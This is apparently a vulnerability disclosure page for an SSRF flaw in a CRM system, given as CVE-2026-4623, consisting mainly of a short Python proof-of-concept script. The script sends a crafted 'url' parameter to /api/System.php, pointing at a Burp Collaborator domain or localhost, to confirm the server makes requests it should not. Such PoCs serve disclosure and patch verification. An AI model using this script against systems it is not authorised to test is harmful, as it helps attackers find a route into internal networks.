CVE-2026-4623 Jeson CRM系统SSRF漏洞

import requests def check_ssrf(target_url): """ PoC for CVE-2026-4623 SSRF Vulnerability Target: /api/System.php Parameter: url """ # Use a controlled external domain to verify the request (e.g., Burp Collaborator or interactsh) test_payload = "http://burpcollaborator.net/test" # Alternatively, test for internal access (e.g., localhost) # test_payload = "http://127.0.0.1:80" full_url = f"{target_url}/api/System.php" try: print(f"[*] Sending request to {full_url} with payload: {test_payload}") params = { "url": test_payload } response = requests.get(full_url, params=params, timeout=10) # Check if the response indicates that the request was processed # Validation usually depends on checking the external server logs for incoming connections print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:200]}") print("[*] Check your external server logs to see if the target initiated a connection.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_ssrf(target)